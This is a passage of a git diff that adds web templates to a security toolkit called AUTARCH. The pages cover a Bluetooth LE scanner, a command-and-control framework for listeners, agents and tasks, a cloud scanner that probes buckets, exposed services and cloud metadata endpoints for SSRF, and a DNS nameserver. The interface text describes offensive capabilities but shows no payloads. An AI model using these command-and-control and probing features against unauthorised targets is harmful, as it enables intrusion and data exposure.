z+vv^XGm9M&Z2{M)atPDpYa5v6M8SOnA+nC87{R<_4#So7onVUG{ESV{PlMv}Y{_EI zTl_`Y$8!k28;Tz|sl(y-)OZgNGL3;*#anuGH~b!bJow%IJHziUiX96Gi~H`0-z!fN zB=&*dLTmcs5Iu$8EouC|=kF=}&gTdbEnxtq0iXc03Zmq&uw2!CeilCHMt(ZL$T}qJ z@hn1g$^3pz&`Tow^ur|0pa*&#O%XI)qq0-<)8Y-m>E`IC1^A@shtwBe^QOgmOnx`|*?mHq zen2Pb#omEOr0M63{d{fwS>M|NO8oRY(9dW~E0BBnt3Lfq>(h;Xe!xl6d!?VvG)n%1 z%+e|PY4OJMS(<)YQuK4zTBD!uDCVi|G11REgZHGLK56=aHKDYUFv3_&9Nrt9UYvE^ zV9DwyzP_8WNLF_TnQK_4KgFK+&i@B1b6LUt-$gpLRlFp5o~RFIXv^Y|J9v{e2lnZ^ z74^76_O*OR2Jw@^@t;S8z44n&#AMACc|eGT0!XPAr88Aqh3YL1$B}+7BHGJqIl)Ye zK|MW8i%E+421P#HqJ=c7xGzZK`ac+O@^b;s$-fIM>|O&9vL#jWOYk26`Y} zjgupy(+ab692i!1Z|UvIS#-+*scFuWflT&y)G6;y{CMe!W2BXZ^e^A~_vRYwU&{dc zckAL*|JEPu_b=J%?6W8O?Ng)XuIV6el;9X$lV{b;chyv?nwnHK0%9KgKd4Ml%1b`f zoqV5Fe7<&HIuZ9v=@gBM&XI|Y&6#3?iSzI3zyTA*>=nA-@9J%`si)*)pz1A`tq{F-V$H)j-=J%zevrnZYNHB%2c z|Fa+TD{@71JGM|phsk&&C?gf*1ay-=9Cux-=ByO|@#8@{5m7T676 z(b4%^s+Y{I%98z%2L*Vh6%go=gkgc%w8H+T75a9_Ipd2?q{~Aeq0W~c6z6v(bxzkf zQ|9Nn;UjTH%RlVG$>=sEsaiIq{P|d6nX`QRYQ9EzqUms%%GpJ4Lis)Wg;6Mx{fFg& zx$@ut5$Et#f#Ss(=E{jzyoxlN$gX;svIffynPoqDG^6Z^lnr3fxyx4t78(>-4~@?x zh&ShfSEU6SA}bXW35OGX`ilvNQ#&J?*BCE>Cd4f@g<6q$Q6K@|u zq`G(VZT~&qUC*ZhB6#B#t4F3NxwHtR=AcUz>UTpp==WT|RE0X4l@rN*>WV-XX>1M-RNn^!Q-9AyubC1awn?^S?PmTnNfbUNaPaAHV!+_ee`rEEUnHXgH8FPKyzKq-l2>)s zObd8=t{QE^LY(7O(u#yku@_C6U@4$=-e;KM44j=mKr8ZI!XNH!l2bg5r+F!u=W9jI zgtSCsn2*KX8DveKqJ+aWC;ziDNohOd_mb0|@dkIkX?)2Li1UNl_NA#0z}RT&p7+Oz z4vZyfFi!hKU^H8ezU?F*HoeL5W|?2k1+@4YaOc^)if{uKE2?gPOx<*zS82l$JXtuLMTr&Ax=N+bDj>M{QMg-~oxkWZCy zMH{f5H)&(Hcbg`}IoTlq@UOe6=5gDDsuxLY>-i< zUKlpPnN{>vhx1j<*(nU5phm)4sWJ?wj__Wk!85*4hl60;U6aUV{82c@A0FUFx9Kgjm7ZZn+g?r1~R!2p3_>IhXw?*v|Oshhl0v|L|WI z_B=mtVs9Zskmmi{B1%RKLRbYb!s_~PbOVP(ecU_Le!LKE$wp=ltHZx+0<%y50{ZHo zY%hN9kMz0p)jl>}+jm1%EEm{g1~F2#6zpTDcTQVdqWt8MiR@=bAWqz%+9=5g0$D-= z0a2B7s^fwTAuwch(~ z4*mDb>RG{#i!mOKO+QU!U%{pkUKC`3sQJI{hNxcnz)XDXJbW)`mqJ6y&x$yLk}_MVIpf&R!X_GMFi_g1MBg7e7Kj7{nq7@6<2wtrwR)PUq`Ekx-8 zlOe{%&Qt78{5um--`4*(SUF?6gZ$jfY<=W=|2)r%CJIg{0-;*h_+Q`a^8SjtV-ZYqP(Km_gGhcTD z*=AJ)5x3ZHy|(k6Akml>BuZc&z96B`J1_ACiLyeWt24<5f<%Sh0nP0c+#fVqeS#U4 z(_uO&>h}D~%C^&brIZvL$T*eZ1TuxctCpZ$>^l(bI0$gD+szM#+YS<{b$Bt)X^Gq$ ze(=87z~j=$h$1R?LE55n5QRHv z%e!HvlCwqVK9fbVmLhAxX%52Fg*Gr31<=*%hB>xaeVN0Xbk=YiK_YwSCYH@9zXSsk zxpUWTx)eS&h;{zc7+OOa!SQr}(gasj`6I~$LVb`_pseWQ}G zR>{%&YQFU^@OTFOU2GozDi+%HL>RXFVy_#L)_m#BE*SBZ zzI)uq_{2Ov2g{(-f%|lG@-3mdS}pg9+=sFYvb1eIOrN!ly^de)PLOgo*H1*Uyr^Cy zN@PbO2$o0lF}{w}@gc{5!RzuC&I&}zHy%Z#y!{@@r`emih9k#!6=r#}dDP+7m!a%J z?YwQDNi=Q!-|zmnXQ2dJy}gZD``Z6Ak1qS`cb(Sn`i|t_a2I;jtKpAc4X@nw_2{2_ zg?nvOut!1YvAoEx!lrGJUHzK2c0_jdZ~9YYS8mhBWN&?;aGw~1MwQN2e29v^t)hQc z$=6kKi>hgG%mJ1Q?Pv*3MWm~+={5fLYkG;l{hK!OH@E3&JQ`ik@m@vm<~V|ZT~_iPEBRL|`G)L& zR{BNRf7)8alNfNR1`N?!k58Ab82eBMyxK!vcaBj(*KJCITY)yQ`sAy$OpKVqk0PZ|nb{8y(KG>UW$~qy8(-)qv(X^5GF2*uI_~5R zVnC2*i=BEj`DG-h+;c6GU=h?~+ZJuB57tR<@%5&Jy|+l~fTVtUQ3uwa`zTaWtQkr0 zG^Kle`R%uv-6|dv?lG)`f*%fm3H{?Pm=LnN`yh89A4_&O_3YrmtX%l?uzAHoi9ZjG2@qZXP;LPc~YR{>1`jw;)pZ-`5+80?1Sdx;}%km#-ot*0UhqlHkOWgE2HoC z0z=JWYg(2px5~1TJFEFH`Pa5y6nJaBywpI6nfEmn#Sd(E!lCj@`@-QI0g#1gf&DIb zvK33Hc&%xaZ-B7c(%KPfdqJ1+jurNb5CPk%DpSy1dI3U$OLN_lwvQUC@bOo+?(BEn z)I{@%>|G3hL0b!)h*(p$F4R7bnyTVw_gRAZm)(xJi78*qN)9*tNv4an8pcFZk7Wa9}YXe?Kg%Dz?%)ak!6x z@e<~s`OuCIX5}~+!*}u;-obBm2ti7vW4;*RFO=R;S8BXpszsu1gfY?W&`eC0Id)AyOd8e^Sl=7W zc}nmLSXloK?K=x(V}Cl#h3&}1i^4RP}G-FD-2X+7C{0>7A%k46Q53XC779d~rz zxwoi*lzM`F|B9lW4*#BIsvME6iD;B2k0r8S{W84aC-Wf|;4^_?e=kwM{&_t}Hz^sS<)>KdEN{Lkj3X1=6{iO16Ymsj z-#=!=9{F!-7=YZySYUBMTRgy92 zq~I6~Pjkeo8KD~iZoL<)qcmg8H zdP;wi!!@N~7aM_XyQu~Ie+UnH^*6{s%};5PtpHIvZ)mC^YoqNZ@Er)YgcIj=DcM{g zkmQAlx=du>$>;il(3_HWRniSEGMrS@#=?!d2y@XAE%)BmOy(%kyQL#JL;&*sjZ4fP z)W!z8t>kqLJ^-uZ6%Ez#2_!qfy#Gq_KmpE)64xE&11`q^SG`P$mQEag!tmO%!<)Bs z&NKL3L^{iGi=xuU$mG-Lmbk=-zx-MW=8#{WRHrR?bTpkiSDj;vRD84_A2pGlng0wk zb8IBJ7d8e%td30p+%8Hzysj!IN2D4p?`JiDs7K_e{@wV$WS?MrPm3mv81+Q|y4-G2pu%0DiA(Yb@Sfhh}qTl%vUqa02{PBBsK6zJ< zCcE9b`TZ?qmNyi<_McNDIiD{H=$Ye!64~RP2TN+TJv@;+No0&*9&iTGAzI$}XP>|L z8xsyO`ky$^SqjvW!<;cT(e*G6EJ-X&%Jq7%@F$ODSwar;R1Xvr+5hVC z#3`0SIlm9q#|NLIkH7A)J|3{QK0f=F`iR}w^%4D$_=em)d)PiW1Gno^xGnLa|5k_F zYyq!gVctC^!0$ooqU*0HH$CfVVaJ>TUh(^TV6eG+(*A(XZuys{9+Adh1!j&!N~+E` z`T&W&SGI$}FL%S5^o`-~{=dKdGru3|x1aBCZ1&C;I!R~fe*Og&r6sxK8uh~A@1sn< zUq^-DVoa)jQdQ_B@KFgsnC(1x!0;8ed~OdtJiV?WG;iIcj*7M}9YAlosclKq$BB`3 zUi3Q0j_QRctY<0_KU7*zx#Up?^XRHNNg3!&ot>$q$qh-ddu$ZuJaxKfWWq6*;o z>k}>02$#lz)AQ(sx(!fRk>5Eqr3$5io^fUHALfspd1FiDGQQ~A9$IPnZMvQzJ;+ZZ zjK!i|yaE4YGM`RYVBcToe-HmLxk*e`oTv>ZJH#ENIv&xPNBJtjNb$GC=Sb_+E|PGz zuEdY?ymzAlo48nXNhuUU48FHTl;ZRbu!}?hgy3X*N6)fO?S+Zu(8u&VJ1~sj2Ns1_4_hj zD0)EGM#fMIo>d-ic*dpSnfEYbGO%{C?hOkAs%jt zb=U1L54GQEBXx#_e=Hf2g`?qZ_M1h^7rZ83Y3qNnPN|a*FMhMW^?sG(3$2QFtrF_B z>N(tTKrbZEuf~l7*IUi33>R2U=B=X&P!(_8EtUzI=XmFQWQas`8S(!~0Jbzu za6PW9{;LDr(qO~F22g^i67i*maQrYS`$YE5lt}eaO>Au~qSopUSWFo!kG_EXw^cY! z|0d^n-^2aJpk1^$-E?sQ@i95rU)Yqe&oF_WZsk^b-h&K#EF;dXTo%Bp$I$GSDLZ8$ zCc0tF)#|+zu<-}-6a1e@$!ZDg=~)pt^1Oe&li8W%`k*R(ADaC%6X3(JAsycwxESs# ziWsI?yz_c|XWmyhHBFY+L-44@1J7HVc_av{AikWleEgI@4b3UFwwB zA*WyX#jK9x(M!>P#3xU<2&2y-!Cj&5`r1KVSl=YS!V4z&Q!8a7K4ka^taPzge48ai z%K2mi{zJbuXy1}>0A#9{u{$SHI?<0>V}o0z9_3;n@7)#Ib!qzfFbQCZ@^_vrbSkqv z!))EKw%OF?J=|xTaK1tOz%Wd;$NCiME(aEpce?lBmRGt)g)T&u9dYc-7iN8@HhwDq z=@7j9teIzkKZ$}fmUEyy;0Eu7p{$E_n6*kSKqxi9NDHP_))8NRq1EJ9`IJW#H~GE% z>^=MF9h}jXSkmSjos+*QhbT9{n`C`D=ci%_mnzTF9t;9A3i`*a-n0D=>F?$1!9DmFS zP8Q|J!LhLy(2puvuA~xt1D#C6_KOT(VWuAz)3JqMc=Q8H2?1?C!^WREuPN~vZCYXQ zs(~P-TTfI4vcSoOq=bwjS_J%EeM3LKNw*n#O@&Ac14#w)wHj6rF0wLa;uLTYY^Gs4 zUGDqq<+pG#w-@Kgr2c};&r1ZSfKlN6T)};${P<1q;!s-@ol%`M1WOd0-9lo6B7Kl> zb(&dA>B5$7P%S~jo#*Pi#8{AElNAZS@OPA$ityo^!$-XY)0){obm58*!l7f=-SMF-UO6oao zMfiIwvYx)<46h^kw=P6JXta^FZ6|$|eQ|RW*_&?968@2ka>$I~Xd#J$qKy|Cxa&;> zn(O$10d`>QBn_EPY7zr7i8gYM2OqF-R-j@l#AfR^<{J%kqwDd$UXS&8B9X zhe94|O7}7k?v>B5eGhr0{J!V4CgKB3&B3av8FQeIQgbk3eYZJS$9Z627!1;FP?}A* zysI~e1Eqmu{LP0?ECrv5C4x_G9~wsrEygO+wOI?n7I0S#8dC-JvJ#}VY@$O8`joQM zxcxc7C_bd?G_4Hoi%s6gf5In5l$;Bh@RLZz&vN`#@X7CRz5F91@}60*UizgHxija; z-#*s`7cdJIf+F|%{Km&Nc0ka$%*{M{mlg7kX%RvDC4-9MH%F{%;|dXXM0OcxrMow5 zLr)TNsiE<4>Y3K6AKCl~LW)^G-{=QNg@4v2oyp-8I;2C5rC6gk=5k<{$elA!CSiYjF+53XgqANb zZ)=YcIQ1cD!Q~Q&lpnjtNPh7)m^VW8K>g~0A-br4*&p^j64?DGx6+qH!5_91W_gRE z>RxuId-Mp8;JMbFHR#Ljo_F`V>*!#mfI|-i*#3x^W z{suCPFF%2qvg#qSw5Y;HaB~8J3XZ+a$zpKxe3M#y+@$@9FUTjQ(lpcP9EA-?DLKZ# zJCdhR!D&GSU!{VRGAkfI)IPpH$Z>&AsShkoFMe8x-)wdBK++N7#H_|bHa0JLaHUu< zl860uIRGxNjFPRc%8y^EDa*a+WWW0-n{SQqw=q1i9L_HQzs;HbuL5Al`GZLI9=^Fl zBXK=R9zw+jvUhkzvOn>+e*GlW2(=A_J=DZ2DsYB`+CBoAap)b3HIntMmQ-*89iE;r zQLn6=1)Wb{nB^69Yc>V8P`h{^US_O65e*9d5^DdQF3Jiv(rt_t@gdK1k>(GtY%>1P zuJY-bfab8i!auhv!bHhsg}^3>vQJ}FVb-$ADxbi_`>R=sEb z*=5%{`NoybZQ@H==FH;y=7+iwPlNoTwj&YvH8>NqyOlbs5TX~<7+ok8dX-T9mzKx@ zP5dzRv;Xxu(LNi3%==gu_U<*WU6azbpX@X@_@=D6;Q!hznx06m{RD+EP|)QnX#8M=Subg2C|24X-`MJfX$UWzrzY^!4KgPjsF zi=Q*?r};RB3xkrC7%Tk(3kHDG5!dLC^w9e}bzmT3XFk}2?&w52H zriBelZkc0$?QSgBK!>*~`(X_>Yk*e4_lAXPhDv@Sm1}$e}V+h3>QHi(xwLO4m zDuCHFEx%1k=d(R5^$vci(1GZ?b!wzu^#d40M-ZyT1EF4+4npy&)Qvx0o#(Ib8=7Xw zwejfHI}nbdC_;dBf-&l zx*{geof@PgQ8+b72T6pZD=WI5vBMOSl!w{|`T9{3GI9&0c zc!ZryGLP#Uoo@>R64~p$A)G&>@t~JTpkhtCHSBv_EztL(#&F_%MCxgv&#t}rSq;fb zQhwINh~|Wr#238WUup_qET-9-pS47K1b>(&0i|Lee%6z%2J^G7|E?;L9SqC@ex$;5 zR91%r^G3L%?^vtA=Pc*ye2$1#iHelju1;t#F(j**(;jRp=jayyXZrI78I|TlcwdQZl7qYCpWwFOLM;MyIXsE)pL{M_6ya zoIGg1%k7+4c~v~!W0V$uUt`x6Srlr&og44IO>%EmQADcA6#KT##p~W!g?lOCjxr?d zbD7K!J_q}ZgQ?tkB@V?TB5o515P(dGiS9n2`JhSYyC;R(7U~5}bkHuy>B2|6;THp! zMDF+FPCC*{X>9ZDcdk2dCXqYzg+d+^P@~6*?5X!*{5dwGzEmjVtd(zbev+0Oi_bd$ zZS>mnu5n1~KFBTO>ulZ^ewuwP zuwO!;DIp+UXZo+{FQLb7@c;+`=9^^Md1qY8hKUa_-Rg$ubZvzvmBPbCzXoj#>t3ZN!*k)HjYwSY=*3 zY?$1d4cnElg97|gn0WIA z9=kIN)&R~g!i#|t=waz zwcw50ld?#>MD;G9Fo$9lajZ#%M{6VE*DOJc{kZ2v#cGk;di};0mGHy)H`Xc|>f$0n zUv&%6%7HD|D*yFD_2LxoQNI@|=J!G+)r+7sfjLBEyDxM;ie@T88CqLUXXsg-?r1B| zJ$2fhAFUr-w9N|55vkO~Iwn}zhfRCLl#HE$O=bP%0ze(KcgmuEHM6l^k8GBe^!r1t z3We5yQ)(mSyPpEKp|&EDJhwd>1 zAm}U6eZZ56kK{$9{4Q1R3?bHwM8O-6ppKqEb160Sl*iS!Uu7cu%g-u95bKY(>}oh> zBKMR2a8{vOP-JXfwET@#s+e$-t0#DaaoXAHs`F=rmMmwn$_eqY^$9k>V6aoVR8S!F zi*+n{zgSgKx~sW&?CN^PhCR#%6c_}UA^+ZiiL7M)eS>~699a3*l`VG5wh#R#vKt>z zLSh2=x%F0;&~HGojT@;mC%0!D%{1w!j_9|z53l(LPNmI_wlw%BHC6a0HSJ!>5Ss~? z3nq23JLz31F;#Pt?1I6oo7Fw&!`*Ym(9(C0F zKufpZvs7gaTrXkuI(qPAer@l|6p7fj_hm|iAu#W&0D;|;|pm`c#K+#Zv2t@nY%h!$k-Jxxa9Xj zA((?-4nU~S$wFH{mYJ8$y)riM-a4JP%|9y7q*y8)_^v92upq8P?)slv6D6U?a+g1G zVb+{Ei|G|N5890x4HCICtk4`WIL?=`eiQ$)kT{mNerO$?j*dc|(ega&r-j>kFE1grl00j6n&o$ean+tS=X_yQhTLf)tkg+{0s^D+(Jwv0!;joMt;0axbRYb z$s6?uDhcyr8P2nQuWCZ)d=$I7LgZtdDt=u(-ngcMX!#W5VX*JY5^s)GbcS1Crj;;* z71RPgYIL}l7oLL`4a{(j$JJ6>uV{IRRiTMpNI7q$)zaGmx>b)fUf1l{hWORT8UGU@ zl9TzCQYz8)pm5>|wZ?TgH0I?F`2s%R=K2G%J}t;f4tR=Tkm%)unFv$ixHTTTd68;w zT|Gx1CbAbYi{3pa|A$ret|z+#&C(RA-vo~?;s^Uwr=S)D=IU7$1Fq60sX(P-P(ZwMO_K^0Q2YZK?6Ef*!9 zXf6_cN>qmTjQR2ID$;iWT@loFmR7d6yxb|&3W2z{+hBE-=27KXdC~Am{F)9uIZs#6 zHk;dYrI(XS$PJASy{e+JYeVxNQ?15E5@g}D97>f=g4t+cKOjq2+qmkJ6~9GYhEx5O zTbdVEa`z&4reB$7)0xQbT;*bQtb=TTV_4+DZm5cn27xLx zBTWUh@rdw8*Mn*k9To1nHZ*1x_=7W_7uREDGz1!0xl|a0-Ed}a%#5S>W|V^1rkqg4 z3_PnIF)?nV6Y+t|Tj|U-H*3jpjSD+eiq7Tt6^1nA1Pn7Z3GrDC zc3Uv?46SClN7zq!0YBdSpX|2o3opa*S)x~wulwFVw3Ag-^?UcjEHWxpS&+Mi9|-@d zn?CIV47zJwC22#9M772)z{D_HJ@DeUsxe>ii!N#58IG3_KN;j-0Yx`6pVbYra^e5F zIfnw$k9ZMkn`0vkc4*dBKoj$R21osI1K0~+zC}J4IOgQnaU>@^B|H&R6^;JGqP+wV?cJyMlmA2NO} z7|{BOd$#WFeupR_A0EEvqy-$tED|sHae>WM2R|L&E$D7($loErk(^#No677ys*SC# zJ!+%Q02&j&q8Iz)s>@z$`f_dJEKULXYx7%lcE*{^_@rTu%=LA3Y(?j7gdUHHSM|#4 zoXeFRB(zhNoEIP8*A5aoKJy@LB?|f@VSJ&wHC4E_;HnJb4a})PH zbZ+@a3e8}J|Kd*bmj!N;a2#uoY?y^+ROI}VGxmEtv)N~-2JtIMYsCLk3Z zn4wjX2ue|0aLl*SN4^XN4DVudCSI}oFlIaJASTv|w4J)qi!a~}OmQr{d}dKN(0OEy z1yFU7@&_MQJ6{oW{Muh5CS$1rkirSRNcj*e{WcoCYjPovW9Z{#`0%3usXv6$qTrF9 zF@Oqj)jdXo0@n3n(py|8To&I0bB8nKkMnP#=5*{g>~Gw zL9%#kkmH_1wu&WDsqP%ZXZ$3(2Xqg!6?# zk%^?%gMUo?>zmB7pU^jUhdzjw|KU;LAXPsypL_3R&PX%vvU|8Mj(|}6ed=2gZ$c z%I@^x`0LN;pwC}RGI;=_8MqHhFh*eH?rj<47y)-fuGFwWQt02&0Ng=$JTkVz?!oom zIxrcJ+CZuoS1?ZumMf(}=b)oC;tqX!y+Ojh)V(G($GeKoJB~IgU=g2h{GwNX{44f0 z{y(P2U+l(Ts1_AX9}+v*7Z3x&yBy7@!#){A6U5Yrx{_PYIEbK5Q#O9bt_C) zWD)mjC18_USA{wO0E#bNZJkgB2CqF{doOmqo`M&}4PLgsp22_}%mxK83wW!3KNtL7 zu1mqM=J$Jp-%r!<%ZaoUWi=ffU9yB{y*j2U>NhH3B(g*{-7Ezh&RNKXBwO}#_d}}P z5bux)INW=VAi+2U*R7A}!O&Iu~h~k=2}S zZbOWoYBe|?YXsePP}s})LsRR0+|LP|*@R52NLE>;x;j15GEEUEE0QIV7IM<+>MQX% z8e!Pq*_{|LHrz_?w65!C>TQnqC0<6i6GpGGJM>*-n?yn6WGpoW2LEsR?H7ilEfrbl zTk($VR`>j!`au`yhab)kc|2BCu>#D=5{P0OIiU2ScmLMqEq;YFIgF#1jjRaWWhdPr zfM%qwP!FF`mKrcl^ls_U|8sZ~x|-@NKVZIdrhfr=Q?_HF}R#Dlz1z-$f2B+tiFTB}|=z z)O(gyrQ4~@A#%;(g#HHj`4g%${M_65ZK2s$0|UR0jpj7~mL1_l7}bSbQs{Nken=ER~D(Hz7dapbo{5Iq%wQhL|x$xZr%5z}>F>_~0lxwww~ zJ1j`+y%%eY1vFl|deXX)(|h%b&l2|cD4Ea9B4Drgenn}h^%O0HYBN$k|5qSOsO=7J zY(4HSM}QtvekKcyrktfB9C~at2G}9jT`ir%B&s0?|69WS0Jc{n)JIo*>b=E@WqkOm z=7wkW!mEZz`3Y)CXR-yum4F}q1TlJ)HBRtAa8j=93(MFHm?}#Me3EDwCWwKmz8r7& z69MPAdT&y6#{T?%sYzNB(Ij=KIqVV(?AK+tWzyOH-t53 zZWrU)v!_EHKes7^W@K{OuK@OgUn0`X{ua^~9wA#<50HpDU!91%&UiOG%@`5Q3MX;C zAw?BnUzpYWyb4&ab&Bi(wHyrWFhR<#p0lZIf-nNl0Ib;Tlio7JFZbSi5bZgf-rQ@F zjOHfaTTE_vLvRykoSG~DPUo_{K{cSx9_thIQ!pdfq^_C#IQt^s`x#5}gE>1VXpH@j zPo?YH+m+FOaDHB)ro4nX${w{&(e?DtJL5tp9To_HiQIT^Cmq7C;KG9-YNXoDP4*?- zL*mWubvIjl523i*j>A)xO%x3OV^gH9JaEK`90%oNB`VsU!^fH#5}#z1;UB$xblUwc&m7Tq9U&AAMT=~ zcAt_vFc7%?T@ukQ`=~p|-Sl`cf^*U%F!+9!{&tP<-N|R~KDMWPF?EPPcJ}9Z7Mc;Y z1l)An7nUywnl|jp+#e?Y{|ZpV#m7uJ$cJO=yGx+faQs$(ft8KzQ7x$!V}2OvFR^W| z_~nIwtIZFg;piHD0zq%FUt9zRPTO)Yqe6ay8UjTh^$L|>1sS0$ITB5cpvx6ZeiL%jvKCs5bV4{NTgd*o?xAb{J+cPOu7V zf@tNM*!-}rIgzU-wqToj5L>w3ewG+w#w`0In|CAEag^$Tw$LlR!c^?SJDU219($~l z(zb+yr&^H#1>?;@2x#gzd;|8wKUsBm6-De9*EYY^@rw`+zz7;=?w7nyBzl z;A*_@Zef8%zX)ima-(2DS4G@JzpUZdW|691OQ7{jn77U^MI;QY)6XFin~?97yeLz) z`v%jAo53J>Af|a0_b}38Nr3pP3pI8D(}iugzTm@3%(M6y)_Rx6kBjMA`KPny_!VMQ ziddKZXa(*Ybq^lY+wWYfBAjURe+jL%9WL_TxQKG6AC7%fG1sBC1K69UgVwRNFhxOr zDV`hoD*S{#*zHUklgWz~+JY z7@vVZdM6D0A9wGsrleCnsj$!R9Z6(^YbLOg?hwmfYb?8chXnNGLBn^X{9h0%DZ*?J z7T6;US!6^1Obl7USKTor6FIi2PLN@v{rag%L53B&Ph3)TiXlU9?i@0BCyg;gKmv^q z`AQ!NStGv6Pm-hTcJ^xOJA5-^BF~=d7J@(uaV65cAtC5M>7$#I?1Of&Ml7>H?AZIf zz{a(NaUr6mDCBlg$nX{3gs0sGqqFypW%JeJG?u+X>cn8~)RJCD%U}5UKCo=-)1ME^ zZcznkEW4M__KIac=-mU$zRd$++2#cfH>|rpT6e>;sR5Rq1(wa-R%q*UfN7_tF|GP` zFs*IBwIy?m(V@Ti$i}2ygLtq9uG#q<{{xN{GG+V5u?it7I96i6b6tE5IHs?JV>LZ- z?75mWj;-otIJTOf|09kG(w~K6F;Cdjlc+iZ^tJqN0mpWXcRL^Kd&qhIkR1#3ox==S zUunn{J%_yYTpM!J;Uc4EB%VD92qa#j&*OI(vBq!Q!rgGi0S6Sb=Qqf{En31C=|kT@ z?f9AZJrZ!h{rWc*Qf07qlS>DwaK{v$#Ym0`li@>Bg4n0s+A0{9rHRQs#(w-dhgh8j z1MS(6hg3~GHz%V+IQA0t-^Po*Rhp92oih0Uek+=k^p1B8)I~w;JfA%8dr{C#e>gIb z|6%MDAB{?dpYtdU-82F3vEQIIyttRooqaPnUjU^WO~(soz)bgB4h<^Od#6%ZM`a(_ zP1Qa6nt8r}^o!Dzez7tgUt9q*b1o)}HiJs)#NL>)3HCd;NYQ6#RwoPFSd`Q$C5iFf z`f)<^*aE%H9xJYv7+YOOXXG3hY99g`>QqFFkD2`ynyuE-J^L_sbwFr#4p;P_$GtPw3w2zr3Y?SOrLGQ{Nb|X&cOdU|qMhvcLq+-=Zi*X+U ztnu6U!h(nSb*qq6rvL6cdXmi5AN5J1|B4`AiR*vcO9Qg9Y?qv((=f<^1b)P3d`uyX z+lgMTYq5yRAbm-c+LH;aFycp7u-`T(fKi)DOVDz^mlTcf$pl_H$CyBO@Tu zDbMHn$p(Bda9?kQ0!h)uvx%F9{e(!F+oJmiV|j#Gg^{|!ICqD0d!;RsSEnqJKz*b4 zkew*$e*iwLuu&32fy>Ck2)-CP z`>_gy6O-$S|Gdo?L~h9AnKu+aU`h~qT#w?96!JIrc)ne0<%nHV95s6^roKBC@*qB@ z811V*aTxZ^H(x;`U;GnaJVLRcM|KR5(TBIpd}{7-YIjne&XlwFp|(coS^yB+@*bFH zo-2|pE;bxqdv;5&By8N>rOmc!M+@iXSoyISQ4P`%cE%CaE+<8Z!W-1k~`1g!|plQNa z$(G%@gJ-r36A~C$I;%~T-NqX_kdl}8nAhyVACCnL1&8QoKgB-TX~q7dpM4gSB=CRe zLWisS=Ka

@@ -69,6 +89,8 @@
  • UPnP
  • WireGuard
  • MSF Console
    • +
  • DNS Server
    • +
  • └ Nameserver
  • Settings
  • └ LLM Config
  • └ Dependencies
    • diff --git a/web/templates/ble_scanner.html b/web/templates/ble_scanner.html new file mode 100644 index 0000000..3f49b01 --- /dev/null +++ b/web/templates/ble_scanner.html @@ -0,0 +1,515 @@ +{% extends "base.html" %} +{% block title %}AUTARCH — BLE Scanner{% endblock %} +{% block content %} +
    +

    BLE Scanner

    +

    + Bluetooth Low Energy device discovery, service enumeration, and characteristic inspection. +

    +
    + + +
    + + +
    + + +
    + + +
    +

    BLE Scan

    +
    +
    + + +
    +
    + +
    +
    +
    + + Checking bleak availability... +
    +
    +
    + + +
    +

    Discovered Devices

    +
    + + + +
    + + + + + + + + + + + + + + + +
    AddressNameRSSITypeManufacturerServices
    No devices found. Run a scan to discover BLE devices.
    +
    + + +
    +

    Saved Scans

    +
    + +
    +
    +

    No saved scans.

    +
    +
    +
    + + +
    + + +
    +

    Device Connection

    +
    +
    + + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +

    Services & Characteristics

    +
    +

    Connect to a device to view its GATT services.

    +
    +
    + + +
    +

    Proximity Tracking

    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    Estimated Distance
    +
    -- m
    +
    RSSI: --
    +
    +
    +
    RSSI History
    +
    + +
    +
    +
    +
    + + +
    +

    Tracking History

    +
    + + +
    + + + + + + + + + + + + +
    TimestampAddressRSSIDistance (m)
    No tracking history.
    +
    +
    + + +{% endblock %} diff --git a/web/templates/c2_framework.html b/web/templates/c2_framework.html new file mode 100644 index 0000000..1bac5f7 --- /dev/null +++ b/web/templates/c2_framework.html @@ -0,0 +1,260 @@ +{% extends "base.html" %} +{% block title %}C2 Framework — AUTARCH{% endblock %} +{% block content %} +
    +

    C2 Framework

    +

    Command & Control — listeners, agents, task queue

    +
    + +
    + + + +
    + + +
    +
    +
    +

    Listeners

    +
    + + + +
    +
    +
    +
    +

    Active Agents

    +
    +
    +
    +
    +

    Recent Tasks

    +
    +
    +
    + + + + + + + + + + +{% endblock %} diff --git a/web/templates/cloud_scan.html b/web/templates/cloud_scan.html new file mode 100644 index 0000000..bd67e74 --- /dev/null +++ b/web/templates/cloud_scan.html @@ -0,0 +1,275 @@ +{% extends "base.html" %} +{% block title %}AUTARCH — Cloud Security{% endblock %} + +{% block content %} +
    +

    Cloud Security Scanner

    +

    + Discover exposed cloud storage buckets, misconfigured services, and enumerate subdomains. +

    +
    + + +
    + + + +
    + + +
    + +
    +

    Bucket Discovery

    +

    + Search for publicly accessible cloud storage buckets by keyword or company name. +

    +
    +
    + + +
    +
    +
    + Providers: + + + +
    +
    + + +
    + + + + + +
    Bucket NameProviderStatusPublicListable
    Enter a keyword and click Scan to discover buckets.
    +
    + +
    + + +
    + +
    +

    Exposed Services Scanner

    +

    + Probe a target URL for commonly exposed cloud services, admin panels, and metadata endpoints. +

    +
    + + +
    + + + + + +
    PathServiceStatusSensitive
    Enter a target URL and scan for exposed services.
    +
    + +
    +

    Cloud Metadata SSRF Check

    +

    + Test for accessible cloud metadata endpoints (IMDS) that may be reachable via SSRF. +

    +
    + + +
    + 
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Subdomain Enumeration
    
+    
    
+        Enumerate subdomains for a target domain and identify cloud provider hints.
+    
    
+    
    
+        
+        
+    
    
+    
+    
+        
+        
+            
+        
+    
    SubdomainIP AddressCloud Provider
    Enter a domain and click Enumerate to discover subdomains.
    
+
    
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/dns_nameserver.html b/web/templates/dns_nameserver.html
new file mode 100644
index 0000000..16a9589
--- /dev/null
+++ b/web/templates/dns_nameserver.html
@@ -0,0 +1,1556 @@
+{% extends "base.html" %}
+{% block title %}Nameserver — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Nameserver
    
+    
    Recursive resolver, query analytics, cache management, blocklist, benchmarking
    
+
    
+
+
+
    
+    
    
+        
    
+            
    autarch-dns
    
+            
    Checking...
    
+        
    
+        
    
+            
+            
+            
+        
    
+    
    
+    
+
    
+
+
+
    
+    
+    
+    
+    
+    
+    
+    
+    
+    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    DNS Query Tester
    
+        
    
+            Test resolution against the running nameserver or system resolver.
+        
    
+        
    
+            
    
+                
+                
+            
    
+            
+            
+            
+        
    
+    
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
